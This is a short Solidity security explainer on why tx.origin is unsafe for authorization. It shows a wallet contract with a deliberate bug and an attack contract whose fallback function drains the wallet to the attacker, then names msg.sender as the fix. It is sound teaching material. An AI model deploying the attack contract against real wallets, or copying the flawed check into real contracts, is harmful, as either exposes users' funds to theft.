Authorization Through tx.origin
tx.origin
is a global variable in Solidity which returns the address that sent a transaction. It's important that you never use tx.origin
for authorization since another smart contract can use a fallback function to call your contract and gain authorization since the authorized address is stored in tx.origin
. Consider this example:
pragma solidity >=0.5.0 <0.7.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function transferTo(address payable dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}
Here we can see that the TxUserWallet
contract authorizes the transferTo()
function with tx.origin
.
pragma solidity >=0.5.0 <0.7.0;
interface TxUserWallet {
function transferTo(address payable dest, uint amount) external;
}
contract TxAttackWallet {
address payable owner;
constructor() public {
owner = msg.sender;
}
function() external {
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
Now if someone were to trick you into sending ether to the TxAttackWallet
contract address, they can steal your funds by checking tx.origin
to find the address that sent the transaction.
To prevent this kind of attack, use msg.sender
for authorization.
Sources
https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin
https://swcregistry.io/docs/SWC-115
https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin